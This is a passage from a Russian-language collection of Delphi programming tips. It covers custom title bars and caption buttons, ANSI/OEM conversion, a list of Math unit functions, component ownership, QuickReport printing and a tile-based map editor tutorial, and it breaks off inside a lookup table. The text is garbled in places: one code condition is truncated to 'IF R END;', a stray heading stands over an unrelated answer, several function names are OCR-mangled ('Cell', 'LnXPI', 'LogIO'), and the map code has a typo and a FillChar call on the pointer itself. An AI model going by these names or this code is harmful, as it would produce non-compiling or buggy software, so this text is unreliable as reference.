CreateEllipticRgn(4, 4, Width-4, Height-4); rTemp := CreateEllipticRgn(CapY, CapY, Width-CapY, Height-CapY); CombineRgn(rTitleBar, rTitleBar, rTemp, RGN_DIFF); Vertices[0] := Point(0,0); Vertices[1] := Point(Width, 0); Vertices[2] := Point(Width DIV 2, Height DIV 2); rTemp := CreatePolygonRgn(Vertices, 3, ALTERNATE); CombineRgn(rTitleBar, rTitleBar, rTemp, RGN_AND); DeleteObject(rTemp); RL := ArcTan(Width / Height); RR := -RL + (22 / Center.X); X := Center.X-Round((Center.X-1-(CapY DIV 2))*Sin(RR)); Y := Center.Y-Round((Center.Y-1-(CapY DIV 2))*Cos(RR)); SB1 := TSpeedButton.Create(Self); WITH SB1 DO BEGIN Parent := Self; Left := X; Top := Y; Width := 14; Height := 14; OnClick := Button1Click; Caption := 'X'; Font.Style := [fsBold]; END;end;procedure TForm1.Button1Click(Sender: TObject);begin Close;End;procedure TForm1.WMNCHITTEST(var Msg: TWMNCHitTest);begin Inherited; WITH Msg DO WITH ScreenToClient(Point(XPos,YPos)) DO IF PtInRegion(rTitleBar, X, Y) AND (NOT PtInRect(SB1.BoundsRect, Point(X,Y))) THEN Result := htCaption;end;procedure TForm1.WMNCActivate(var Msg: TWMncActivate);begin Inherited; TitleBar(Msg.Active);end;procedure TForm1.WMSetText(var Msg: TWMSetText);begin Inherited; TitleBar(Active);end;procedure TForm1.TitleBar(Act: Boolean);VAR TF : TLogFont; R : Double; N, X, Y : Integer;begin IF Center.X = 0 THEN Exit; WITH Canvas DO begin Brush.Style := bsSolid; Brush.Color := TitlColors[Act]; PaintRgn(Handle, rTitleBar); R := RL; Brush.Color := TitlColors[Act]; Font.Name := 'Arial'; Font.Size := 12; Font.Color := TxtColors[Act]; Font.Style := [fsBold]; GetObject(Font.Handle, SizeOf(TLogFont), @TF); FOR N := 1 TO Length(Caption) DO BEGIN X := Center.X-Round((Center.X-6)*Sin(R)); Y := Center.Y-Round((Center.Y-6)*Cos(R)); TF.lfEscapement := Round(R * 1800 / pi); Font.Handle := CreateFontIndirect(TF); TextOut(X, Y, Caption[N]); R := R - (((TextWidth(Caption[N]))+2) / Center.X); IF R END; Font.Name := 'MS Sans Serif'; Font.Size := 8; Font.Color := clWindowText; Font.Style := []; end;end;procedure TForm1.FormPaint(Sender: TObject);begin WITH Canvas DO BEGIN Pen.Color := clBlack; Brush.Style := bsClear; Pen.Width := 1; Pen.Color := clWhite; Arc(1, 1, Width-1, Height-1, Width, 0, 0, Height); Arc((Width DIV 4)-1, (Height DIV 4)-1, 3*(Width DIV 4)+1, 3*(Height DIV 4)+1, 0, Height, Width, 0); Pen.Color := clBlack; Arc(1, 1, Width-1, Height-1, 0, Height, Width, 0); Arc((Width DIV 4)-1, (Height DIV 4)-1, 3*(Width DIV 4)+1, 3*(Height DIV 4)+1, Width, 0, 0, Height); TitleBar(Active); END;end;end.GetShortPathName() Непосредственно такой функции вроде нет, но можно изловчиться. Нарисовать там кнопку вручную и обрабатывать команды нажатия мышки на Caption Bar.
Пример.
unit Main;interfaceuses Windows, Buttons, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;type TForm1 = class(TForm) procedure FormResize(Sender: TObject); private CaptionBtn : TRect; procedure DrawCaptButton; procedure WMNCPaint(var Msg : TWMNCPaint); message WM_NCPaint; procedure WMNCActivate(var Msg : TWMNCActivate); message WM_NCACTIVATE; procedure WMSetText(var Msg : TWMSetText); message WM_SETTEXT; procedure WMNCHitTest(var Msg : TWMNCHitTest); message WM_NCHITTEST; procedure WMNCLButtonDown(var Msg : TWMNCLButtonDown); message WM_NCLBUTTONDOWN; public { Public declarations } end;var Form1: TForm1;implementationconst htCaptionBtn = htSizeLast + 1;{$R *.DFM}procedure TForm1.DrawCaptButton;var xFrame, yFrame, xSize, ySize : Integer; R : TRect;begin //Dimensions of Sizeable Frame xFrame := GetSystemMetrics(SM_CXFRAME); yFrame := GetSystemMetrics(SM_CYFRAME); //Dimensions of Caption Buttons xSize := GetSystemMetrics(SM_CXSIZE); ySize := GetSystemMetrics(SM_CYSIZE); //Define the placement of the new caption button CaptionBtn := Bounds(Width - xFrame - 4*xSize + 2, yFrame + 2, xSize - 2, ySize - 4);//Get the handle to canvas using Form's device context Canvas.Handle := GetWindowDC(Self.Handle); Canvas.Font.Name := 'Symbol'; Canvas.Font.Color := clBlue; Canvas.Font.Style := [fsBold]; Canvas.Pen.Color := clYellow; Canvas.Brush.Color := clBtnFace; try DrawButtonFace(Canvas, CaptionBtn, 1, bsAutoDetect, False, False, False); //Define a smaller drawing rectangle within the button R := Bounds(Width - xFrame - 4 * xSize + 2, yFrame + 3, xSize - 6, ySize - 7); with CaptionBtn do Canvas.TextRect(R, R.Left + 2, R.Top - 1, 'W'); finally ReleaseDC(Self.Handle, Canvas.Handle); Canvas.Handle := 0; end;end;procedure TForm1.WMNCPaint(var Msg : TWMNCPaint);begin inherited; DrawCaptButton;end;procedure TForm1.WMNCActivate(var Msg : TWMNCActivate);begin inherited; DrawCaptButton;end;procedure TForm1.WMSetText(var Msg : TWMSetText);begin inherited; DrawCaptButton;end;procedure TForm1.WMNCHitTest(var Msg : TWMNCHitTest);begin inherited; with Msg do if PtInRect(CaptionBtn, Point(XPos - Left, YPos - Top)) then Result := htCaptionBtn;end;procedure TForm1.WMNCLButtonDown(var Msg : TWMNCLButtonDown);begin inherited; if (Msg.HitTest = htCaptionBtn) then ShowMessage('You hit the button on the caption bar');end;procedure TForm1.FormResize(Sender: TObject);begin//Force a redraw of caption bar if form is resized Perform(WM_NCACTIVATE, Word(Active), 0);end;end.Эта версия работает под любым Delphi.
(Начиная с Delphi 2, это можно записать короче с использованием AnsiToOem и OemToAnsi.)
Здесь все просто.
function ConvertAnsiToOem(const S : string) : string;{ ConvertAnsiToOem translates a string into the OEM-defined character set }{$IFNDEF WIN32}var Source, Dest : array[0..255] of Char;{$ENDIF}begin{$IFDEF WIN32} SetLength(Result, Length(S)); if Length(Result) > 0 then AnsiToOem(PChar(S), PChar(Result));{$ELSE} if Length(Result) > 0 then begin AnsiToOem(StrPCopy(Source, S), Dest); Result := StrPas(Dest); end;{$ENDIF}end; { ConvertAnsiToOem }function ConvertOemToAnsi(const S : string) : string;{ ConvertOemToAnsi translates a string from the OEM-defined character set into either an ANSI or a wide-character string }{$IFNDEF WIN32}var Source, Dest : array[0..255] of Char;{$ENDIF}begin{$IFDEF WIN32} SetLength(Result, Length(S)); if Length(Result) > 0 then OemToAnsi(PChar(S), PChar(Result));{$ELSE} if Length(Result) > 0 then begin OemToAnsi(StrPCopy(Source, S), Dest); Result := StrPas(Dest); end;{$ENDIF}end; { ConvertOemToAnsi }{------------------------------------------} { Returns the status of the Insert key. } {------------------------------------------} function InsertOn: Boolean; begin if LowOrderBitSet(GetKeyState(VK_INSERT)) then InsertOn := true else InsertOn := false end; Здесь я привожу полный список всех функций и процедур модуля Math. При переходе от Delphi 2 к Delphi 3 модуль Math почти не изменился, фирма Borland ввела в него только три новые функции: MaxIntValue, MInIntValue и Sumint. Эти функции отличаются от своих прототипов (MaxValue, MInValue и Sum) лишь тем, что работают исключительно с целыми числами, не принимая и не возвращая величин с плавающей точкой. Что касается остальных функций, то большинство из них вполне очевидно. Если вам покажется иначе — что ж, садитесь за исследования. И не надейтесь, что все тайны Delphi достанутся вам на блюдечке в виде help-файла!
Тригонометрические функции и процедуры
ArcCos — Арккосинус
ArcCosh — Пиперболический арккосинус
ArcSIn — Арксинус
ArcSInh — Гиперболический арксинус
ArcTahn — Гиперболический арктангенс
ArcTan2 — Арктангенс с учетом квадранта (функция ArcTan, не учитывающая квадрант, находится в модуле System)
Cosh — Гиперболический косинус
Cotan — Котангенс
CycleToRad — Преобразование циклов в радианы
DegToRad — Преобразование градусов в радианы
GradToRad — Преобразование градов в радианы
Hypot — Вычисление гипотенузы прямоугольного треугольника по длинам катетов
RadToCycle — Преобразование радианов в циклы
RadToDeg — Преобразование радианов в градусы
RacIToGrad — Преобразование радианов в грады
SinCos — Вычисление синуса и косинуса угла. Как и в случае SumAndSquares и MeanAndStdDev, одновременная генерация обеих величин происходит быстрее
Sinh — Гиперболический синус
Tan — Тангенс
Tanh — Гиперболический тангенс
Арифметические функции и процедуры
Cell — Округление вверх
Floor — Округление вниз
Frexp — Вычисление мантиссы и порядка заданной величины
IntPower — Возведение числа в целую степень. Если вы не собираетесь пользоваться экспонентами с плавающей точкой, желательно использовать эту функцию из-за ее скорости
Ldexp — Умножение Х на 2 в заданной степени
LnXPI — Вычисление натурального логарифма Х+1. Рекомендуется для X, близких к нулю
LogN — Вычисление логарифма Х по основанию N
LogIO — Вычисление десятичного логарифмах
Log2 — Вычисление двоичного логарифмах
Power — Возведение числа в степень. Работает медленнее IntPower, но для операций с плавающей точкой вполне приемлемо
Финансовые функции и процедуры
DoubleDecliningBalance — Вычисление амортизации методом двойного баланса
FutureValue — Будущее значение вложения
InterestPayment — Вычисление процентов по ссуде
InterestRate — Норма прибыли, необходимая для получения заданной суммы
InternalRateOfReturn — Вычисление внутренней скорости оборота вложения для ряда последовательных выплат
NetPresentValue — Вычисление чистой текущей стоимости вложения для ряда последовательных выплат с учетом процентной ставки
NumberOf Periods — Количество периодов, за которое вложение достигнет заданной величины
Payment — Размер периодической выплаты, необходимой для погашения ссуды, при заданном числе периодов, процентной ставке, а также текущем и будущем значениях ссуды
PerlodPayment — Платежи по процентам за заданный период
PresentValue — Текущее значение вложения
SLNDepreclatlon — Вычисление амортизации методом постоянной нормы
SYDepreclatlon — Вычисление амортизации методом весовых коэффициентов
Статистические функции и процедуры
MaxIntValue — Максимальное значение в наборе целых чисел. Функция появилась в Delphi 3. ее не существует в Delphi 2
MaxValue — Максимальное значение в наборе чисел. В Delphi 2 функция возвращает минималъное значение
Mean — Среднее арифметическое для набора чисел
MeanAndStdDev — Одновременное вычисление среднего арифметического и стандартного отклонения для набора чисел. Вычисляется быстрее, чем обе величины по отдельности
MinIntValLie — Минимальное значение в наборе целых чисел. Функция появилась в Delphi 3, ее не существует в Delphi 2
MInValue — Минимальное значение в наборе чисел. В Delphi 2 функция возвращает максимальное значение
MoiiientSkewKurtosIs — Статистические моменты порядков с первого по четвертый, а также асимметрия (skew) и эксцесс (kurtosis) для набора чисел
Norm — Норма для набора данных (квадратный корень из суммы квадратов)
PopnStdDev — Выборочное стандартное отклонение. Отличается от обычного стандартного отклонения тем, что при вычислениях используется выборочное значение дисперсии, PopnVarlance (см. ниже)
PopnVarlance — Выборочная дисперсия. Использует "смещенную" формулу TotalVanance/n
RandG — Генерация нормально распределенных случайных чисел с заданным средним значением и среднеквадратическим отклонением
StdDev — Среднеквадратическое отклонение для набора чисел
Sum — Сумма набора чисел
SLimsAndSquares — Одновременное вычисление суммы и суммы квадратов для набора чисел. Как и в других функциях модуля Math, обе величины вычисляются быстрее, чем по отдельности
Sumint — Сумма набора целых чисел. Функция появилась в Delphi 3, ее не существует в Delphi 2
SLimOfSquares — Сумма квадратов набора чисел
Total Variance — "Полная дисперсия" для набора чисел. Это сумма квадратов расстояний всех величин от их среднего арифметического
Variance — Выборочная дисперсия для набора чисел. Функция использует "несмещенную" формулу TotalVanапсе/ (n – 1)
У меня такая проблема: я пишу компонент, который внутри себя создаёт другой компонент. Конструктор первого компонента выглядит примерно так:
constructor TFirstComp.Create(AOwner:TComponent); begin inherited Create(AOwner); SecondComp:=TSecondComp.Create(Owner) end;Проблема заключается в том, что при помещении первого компонента на форму в dfm-файл записывается информация и о втором компоненте тоже. А в pas-файл — только о первом. Это приводит к конфликтам. Для меня принципиально, чтобы хозяин у второго компонента был тот же, что и у первого. Как не дать Delphi поместить запись о TSecondComp в dfm-файл?
Попробуйте сделать так:
constructor TFirstComp.Create(AOwner:TComponent); begin inherited Create(AOwner); SecondComp:=TSecondComp.Create(SELF); end;Т.е. дочернему компоненту в качастве владельца передавайте его непосредственного хозяина.
Посмотрите компонент RichEdit98 (полностью бесплатный). ftp://ftp.bcsmi.minsk.by/alex/
Глюки TImage
При увеличении размера компонента TImage в RunTime пытаюсь рисовать заново на всем поле, но отображается только часть компонента (прежнего размера). В чем дело?
Ответ: Нужно при инициализации выполнить SetBounds(), с максимальными размерами.
Обнаружил, что компонент QReport никак не реагирует на установки принтера PrinterSetup диалога, вызываемого нажатием кнопочки собственного Preview!
В QuickReport есть собственный объект TQRPrinter, установки которого он использует при печати, а стандартные установки принтеров на него не влияют. В диалоге PrinterSetup, вызываемом из Preview можно лишь выбрать принтер на который нужно печатать (если, конечно, установлено несколько принтеров).
Советую поставить обновление QReport на 2.0J с www.qusoft.com.
Перед печатью (не только из QReport) программно установите требуемый драйвер принтера текущим для Windows
function SetDefPrn(const stDriver : string) : boolean; begin SetPrinter(nil).Free; Result := WriteProfileString('windows', device', PChar( stDriver)); end; После печати восстановите установки.
Создание редактора карт в стратегиях типа WarCraft
Довелось мне как-то озадачиться идеей написать редактор карт для моей новой игры. Скажу сразу, что задача эта не из простых. Приступим сразу к делу. Как правило, в двумерных стратегических играх типа Warcraft, Heroes of Might and Magic, Z и т. д. карты строятся из ячеек. Иными словами, карта — это матрица с некоторыми числовыми значениями внутри ячеек. Эти значения есть номера текстур (растровых картинок с изображениями земли, воды, камней и т. д., из которых и будет склеиваться Ваш уникальный ландшафт)
Рисунок 1
На рисунке изображена ну очень маленькая карта с размером матрицы 3×3. Для создания подобной карты задается двумерный массив ( Map : Array[3,3] of Byte ), записываются, каким-либо образом, в каждую ячейку порядковые номера текстур и при выводе карты на экран эти номера читаются из массива. Ну например:
…
For i := 0 to 2 do For j := 0 to 2 do Begin Number := Map[i,j]; X := J * TextureWidth; Y := i * TextureHeight; DrawTexture(X,Y,Number); End;…
Где Number – номер текстуры,
Х – координата текстуры на экране,
Y – то же самое,
DrawTexture – некая процедура вывода текстуры на экран.
Совет!!!
Если Вам заранее не известно из какого количества ячеек будет состоять Ваша карта, не используйте Tlist в Tlist'e для ее создания. Советую воспользоваться PbyteArray.
( GetMem(PbyteArray,MapWidth*MapHeight*SizeOf(Тип ячейки)) ).Тип ячейки в нашем случае – Byte. Обращение в этом случае будет таким: Number := PbyteArray[Y*MapWidth + X]; Где X,Y – координаты нужной ячейки в матрице.
Все что мы рассмотрели выше подходит для карт на основе только лишь одного типа земли. Взгляните на рисунок расположенный выше. Вы увидите, что поскольку все текстуры разные — карта как-бы состоит из квадратиков. Кому она такая нужна? Хочется чтобы эти текстуры плавно перетекали друг в друга. Отсюда есть три выхода:
• Создавать карту из текстур мало отличающихся друг от друга и при рисовании карты выбирать их случайным образом.
• Налепить целю кучу "пересекающихся" между собой текстур и класть их на карту вручную.
• Так же налепить ту же кучу текстур и написать программу позволяющую автоматически распределять их на карте.
Первый способ не очень интересен. Он скорее подходит для создания ролевых игр. Где, как правило, присутствует базовый тип земли, а все остальное, такое как вода, камни, травка представляется объектами. Второй способ легок по реализации, но очень утомительно будет потом создавать карты в таком редакторе.
Посмотрите на рисунок. Если у Вас вся карта состоит из текстур с травой, а Вам надо добавить участок воды, то мы видим, что для того чтобы добиться плавного перетекания Вам придется добавить еще 8 промежуточных текстур окружающих текстуру с водой. Если делать это вручную (по второму способу), то это займет слишком много времени и сил. Поэтому нам второй способ тоже не подходит. Мы остановимся на третьем способе и будем создавать карту подобно тому, как это происходит в WarCraft'e. При добавлении текстуры на карту (фактически — записи номера текстуры в определенную ячейку матрицы), окружающие ее текстуры будут рассчитываться автоматически. Как этого добиться?
Рисунок 2
Я достаточно долго ломал голову над этой проблемой. Я пытался найти какой-нибудь способ позволяющий не утруждать компьютер громоздкими вычислениями и работать максимально быстро и эффективно. Один раз я даже вывел формулу, по которой рассчитывались новые значения ячеек, но она увы имела ограниченное действие (только 2 типа земли) и плохо подходила для создания карт, где требуется максимальное разнообразие. Но достаточно лирики, давайте вернемся к нашим баранам.
Прежде всего необходимо выяснить — какое количество переходных текстур нам понадобится для обеспечения плавного перетекания между двумя типами земель. Здесь есть свои тонкости.
Представим, что у нас имеется два типа земли: ВОДА и ЗЕМЛЯ, тогда: Во-первых нам понадобятся две базовых текстуры, это текстуры полностью заполненные водой или землей.
Рисунок 3
Во вторых нам понадобятся промежуточные текстуры. Сколько их нужно мы сейчас посчитаем.
Рисунок 4
Оказалось, что для плавного перетекания двух земель друг в друга надо 14 промежуточных текстур, плюс две базовых. Итого 16. Всякий программист знает, что это хорошая цифра.
Возможно кто-то спросит: А зачем так много? Не достаточно ли 8 текстур, как на рисунке 2 — где трава пересекается с водой? Нет не достаточно. Ведь ситуации бывают разные. Окружающие ячейки могут быть не полностью забиты травой ( в данном случае землей ), и тогда понадобятся дополнительные текстуры.
Тогда может последовать другой вопрос: Почему так мало текстур? Где например текстуры когда вода с трех сторон окружена землей, и с четырех, и другие? Не следует ли предусмотреть все случаи?
И это правильный вопрос, но здесь все зависит от конкретной реализации алгоритма автоматического вычисления необходимой текстуры. В моем примере он реализован так, что остальные текстуры не нужны. Объясню наглядно:
1. Текстуры воды окруженные землей с двух противоположных сторон превращаются в базовую текстуру земли (в текстуру заполненную только землей). Соответственно то же самое происходит когда вода окружена с трех или четырех сторон.
Рисунок 5
2. Текстуры воды окруженные с двух уголков на одной стороне превращаются в текстуры полностью окруженные землей с одной стороны. (если уголки с трех сторон, то вода оказывается окружена полностью с двух сторон, если уголков 4, то вода превращается в землю совсем).
Теперь, я надеюсь, все ясно. С помощью применения подобной техники количество промежуточных текстур удалось уменьшить ровно в два раза! Это существенная экономия памяти, особенно если учесть, что типов земель будет больше. Кстати в WarCraft'e, если я не ошибаюсь, используется такой же набор текстур.
Ну хорошо, теперь давайте еще посчитаем. Для "слияния" двух земель нам понадобилось 16 текстур. Но если к земле и воде добавить еще траву, то придется создавать также переходные текстуры для трава-земля и трава-вода. Это еще 32 текстуры. Добавим еще каменистую почву( надо же сделать карту разнообразнее). Еще 48 текстур. И так далее и так далее. А если мы хотим сделать несколько видов одной и той же текстуры( опять таки для разнообразия )? Количество текстур растет как на дрожжах. Что делать?
Но тут на помощь пришел опять-таки старый, добрый, затертый до дыр мышкой WarCraft. Никогда не замечали, что если в WarCraft'e, вернее в War Editor'e, "кладешь" воду на траву, то между травой и водой появляется прослойка земли? Вот и я заметил.
Рисунок 6а
Рисунок 6б
Посмотрите на эти два рисунка. Из них видно, что вода граничит только с землей, трава тоже граничит только с землей. Земля в данном случае является "переходным" типом земли. Достаточно создать текстуры вода-земля, трава-земля, камни-земля, песок-земля и т. д. По 16 штук на каждую землю и все. Можно больше не беспокоится. Земли будут соединяться между собой через "переходный" тип земли. Спасибо WarCraft'у.
Итак, с количеством текстур и тем какими они должны быть мы разобрались, и вот наконец-то мы приступаем к самой реализации данной задачи.
Условимся, что:
1. Ячейку с номером 12 я буду называть активной или текущей.
2. Землю которой мы рисуем я также буду называть активной или текущей.
3. Землю которая была прежде была в ячейке 12 я буду называть прежней.
4. Ячейки под номерами 6,7,8,11,13,16,17,18 я буду называть первым кругом.
5. Ячейки под номером 0,1,2,3,4,5,9,10,14,15,19,20,21,22,23,24 я буду называть вторым кругом.
6. Все текстуры имеющие в себе участок некоторого типа кроме переходного есть эта земля. То есть, к примеру, ячейки в первом круге – это вода.(см. Рисунок 6б)
Пусть для данного примера у нас будет три типа земли: ВОДА, ТРАВА, КАМНИ. Плюс переходный тип — ЗЕМЛЯ. Нам понадобится 48 текстур. Почему 48, а не 64? — спросите вы, — ведь типов-то 4. Потому, что переходный тип и так есть в каждом из трех первых типов, в промежуточных текстурах.
Допустим, что текстуры у Вас будут храниться в компоненте ImageList, для нашего случая это удобнее всего. Разместим мы их следующим образом: за номером 0 будет располагаться цельная текстура воды, номера 1–14 займут промежуточные текстуры ВОДА–ЗЕМЛЯ (как на Рисунке 4), номер 15 займет цельная текстура ЗЕМЛИ. Следующий элемент ТРАВА займет номера 16–31 по тому же принципу, элемент КАМНИ займет номера с 32–47. Как Вы наверное заметили, номера 15,31,47 оказываются заняты одинаковыми цельными текстурами земли. Их можно сделать немного отличающимися друг от друга для обеспечения большего разнообразия, а затем выбирать случайным образом.
Введем базовые индексы типов земель. Пусть базовый индекс воды равен 0, базовый индекс травы равен 1, камней — 2. Тогда, узнав порядковый номер текстуры, мы можем выяснить какому типу земли она принадлежит, достаточно разделить целочисленным делением (Div) порядковый номер текстуры на 16. Если же мы разделим этот номер делением по остатку (Mod) на 16, то узнаем смещение или номер промежуточной текстуры внутри интервала номеров принадлежащего данному типу земли. Например, мы обратились к ячейке и получили номер 23. Поделив этот номер целочисленным делением на 16 получим 1. Это тип земли — ТРАВА. Поделив делением по модулю остатка на 16 получим 7. Это номер промежуточной текстуры.(См. Рисунок 4, только в данном случае была бы трава с землей) Заметьте, если бы вместо 7 мы получили 0, это означало бы цельную текстуру данной земли, 15 означало бы цельную текстуру переходного типа — ЗЕМЛЯ.
Теперь давайте немного попишем:
PMap : PbyteArray; // указатель на матрицу содержащую нашу картуWorldWidth, WorldHeight : Integer; // Ширина и высота карты в ячейкахProcedure createnewmap(worldwidth,worldheigth : integer);Begin // Выделение памяти под матрицу GetMem(pMap,WodrldWidth*WorldHeight); // Заполнение этого участка нулями FillChar(pMap,WorldWidth*WorldHeight,0);End;funcion getelement(x,y : integer):byte;Begin // Получить значение ячейки Result := pMap[y*WorldWidth + x];End;Procedure putelement(x,y : integer; index : byte);Begin // Записать значение в ячейку PMap[y*WorldWidth + x] := Index;End;Function getbaseindex(index : byte): byte;Begin // Получить тип земли в виде номера(индекса) Result := Index div 16;End;Function getadditionalindex(index : byte):byte;Begin // Получить номер переходной текстуры Result := Index mod 16;End;Вот. Вспомогательные функции мы написали, перейдем к рассмотрению технологии.
Посмотрите на Рисунок 6(б). Видно, что когда мы заменяем значение одной ячейки, эти изменения влияют, как на первый так и на второй круги ячеек. Возникает резонный вопрос: не случится ли такой ситуации, когда помещение на карту новой текстуры потребует перерисовки всей карты, так, словно кто-то бросил камень в воду? Если следовать принципам изложенным в этой статье, то не случится. Я проверял все варианты. Изменения касаются лишь первого и второго круга. Кто не верит, может проверить, посчитать, прикинуть, но это займет много времени. Теперь мы подходим к главному — по какому принципу рассчитывать новые значения изменяемых текстур. Возможно я Вас немного удивлю, но рассчитывать нам больше ничего не придется. Нам понадобится создать три массива (таблицы) 16 на 25 элементов, записать в них заранее расчитанные значения, а затем их считывать в ходе выполнения программы. Сейчас поясню.
Поскольку в общей сумме у нас по максимуму может измениться 25 элементов на карте (Рисунок 6(б)), мы создадим вспомогательную матрицу 5х5, куда будем считывать с карты значения соответствующих ячеек. Затем мы изменим значения в этой матрице и поместим ее снова на карту откуда взяли.
В каждой ячейке может быть следующее значение:
Index + GroundIndex*16 , где
Index — число от 0 до 15 указывающее на номер переходной текстуры. GroundIndex — число от 0 до 2 указывающее на тип земли — ВОДА, ТРАВА, КАМНИ
Итак мы знаем номер лежащей в ячейке переходной текстуры (GetAdditionalIndex), мы также знаем номер этой ячейки в матрице 5×5. Этого вполне достаточно. Мы создадим массив-таблицу ширина которого равна количеству возможных переходных текстур 16, а высота равна количеству ячеек в матрице 5×5=25. Дальше мы действуем следующим образом: Считываем в матрицу 5×5 участок карты центром которого является ячейка в которую мы "кладем" новую землю, в ячейку 12 кладем цельную текстуру той земли которой мы рисуем. Затем для всех ячеек матрицы 5×5 кроме 12-ой делаем следующее: Поучаем номер переходной текстуры (GetAdditionalIndex) и обращаемся к таблице 16×25. Где номер переходной текстуры это положение ячейки таблицы 16×25 по горизонтали, а номер ячейки в матрице 5×5 это положение ячейки таблицы 16×25 по вертикали. На рисунке 7, цифра 6 по горизонтали это GetAdditionalIndex от текстуры, которая прячется в матрице 5×5 в ячейке номер 17, а "Х" в красной клетке это тот самый новый номер для этой текстуры. Фактически смысл сводится к следующему: посмотрели какая была текстура — заглянув в таблицу, узнали какая стала.
Рисунок 7
Вы наверное спросите — а как узнать какие значения должны быть в таблице 16×25? Никак. Они рассчитываются в уме и записываются в таблицу ручками. Но вы можете не задумываться над этим, я уже рассчитал и записал их в своем примере. Смотрите в исходниках.
Кстати в тексте статьи я упоминал о том, что нам придется создать три таблицы 16×25. Я не оговорился. Дело в том, что у нас возможны три варианта, когда значения одной и той же ячейки в таблице должны быть разными:
1. Активная земля равняется прежней земле. Например, мы рисуем ТРАВОЙ, а в рассчитываемой ячейке тоже ТРАВА или ТРАВА с ЗЕМЛЕЙ.
2. Активная земля не равна прежней земле. Например, мы рисуем ТРАВОЙ, а в рассчитываемой ячейке ВОДА или ВОДА с ЗЕМЛЕЙ.
3. Рисуем переходным типом земли — ЗЕМЛЯ.
Если кому-нибудь еще что-то не понятно, то надеюсь после рассмотрения исходных текстов программы все встанет на свои места.
Пример написан на Delphi 3 Professional, с использованием компонент библиотеки DelphiX для DirectX 6.0
Модуль MapDat:// Определение класса Matrix5Type TMatrix5 = class(TObject)private Matrix : array[0..4,0..4] of byte; Vector : array[0..24] of byte;public function GetBaseIndex( ElementIndex : Integer ): Integer; Function GetAdditionalIndex( ElementIndex : Integer ): Integer; procedure Fill(X,Y : Integer); procedure Place(X,Y : Integer); procedure Culculate(X,Y : Integer; BrushIndex : Integer ); procedure Draw(X,Y : Integer; BrushIndex : Integer );end;Внутри класса определены переменные в виде матрицы 5×5 и вектора. Некогда я думал, что это упростит написание программы, сейчас я думаю, что можно воспользоваться только вектором. Методы GetBaseIndex и GetAdditionalIndex мы уже рассматривали, рассмотрим остальные:
Метод Fill(x,y : Integer);procedure TMatrix5.Fill(X,Y : Integer);var i,j : Integer;begin for j := 0 to 4 do for i := 0 to 4 do Matrix[i,j] := MainForm.GetElement(X – 2 + i,Y – 2 + j); for j :=0 to 4 do for i := 0 to 4 do Vector[j*5 + i] := Matrix[i,j];end;Заполняет матрицу и вектор 25-ю элементами карты. Х,Y — указывает на центральный элемент.
Метод Place(x,y : Integer);
procedure TMatrix5.Place(X,Y : Integer);var i,j : Integer;begin for j := 0 to 4 do for i := 0 to 4 do Matrix[i,j] := Vector[j*5 + i]; for j := 0 to 4 do for i := 0 to 4 do MainForm.PutElement(X – 2 + i,Y – 2 + j, Matrix[i,j] );end;Выполняет процедуру обратную методу Fill. То есть кладет матрицу 5х5 на карту.
Метод Draw(x,y : Integer; BrushIndex : Integer);
procedure TMatrix5.Draw(X,Y : Integer; BrushIndex : Integer);begin Self.Culculate(X,Y,BrushIndex); Self.Place(X,Y);end;Выполняет методы Culculate, а затем Place. X,Y — указывают центральный элемент в матрице 5×5, BrushIndex — индекс активной земли. (0-вода,1-трава,2-камни,3– переходный тип — земля).
Прежде чем перейти к основному методу данного модуля — Culculate, покажу вам созданные таблицы.
const BasicTable : array[0..24,0..15] of byte = ((16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),( 9, 1, 6, 8, 4, 5, 6,15, 8, 9, 1,14, 4, 5,14,16),( 1, 1, 6,15, 5, 5, 6,15,15, 1, 1, 6, 5, 5, 6,16),(10, 1, 2, 7,15, 5, 6, 7,15, 1,10, 2, 7,13, 6,16),(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),( 4, 5,15, 8, 4, 5,15,15, 8, 4, 5, 8, 4, 5, 8,16),(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),( 2, 6, 2, 7,15,15, 6, 7,15, 6, 2, 2, 7, 7, 6,16),(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),(12, 5, 7, 3, 4, 5,15, 7, 8, 4,13, 3,12,13, 8,16),( 3,15, 7, 3, 8,15,15, 7, 8, 8, 7, 3, 3, 7, 8,16),(11, 6, 2, 3, 8,15, 6, 7, 8,14, 2,11, 3, 7,14,16),(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16));EqualTable : array[0..24,0..15] of byte = ( (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),(16,10,16,16,12,13, 2,16, 3, 0,16,16,16,16,11, 7),(16, 0,11,16,12,12,11, 3, 3, 0, 0,16,16,12,11, 3),(16, 9,11,16,16, 4,14, 3,16,16, 0,16,16,12,16, 8), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),(16,10,16,11, 0,10, 2, 2,11, 0,16,16, 0,10,11, 2), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),(16, 9, 0,12,16, 4, 9,12, 4,16, 0, 0,16,12, 9, 4), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),(16,16,16,11, 9, 1,16, 2,14,16,16,16, 0,10,16, 6),(16,16,10, 0, 9, 1, 1,10, 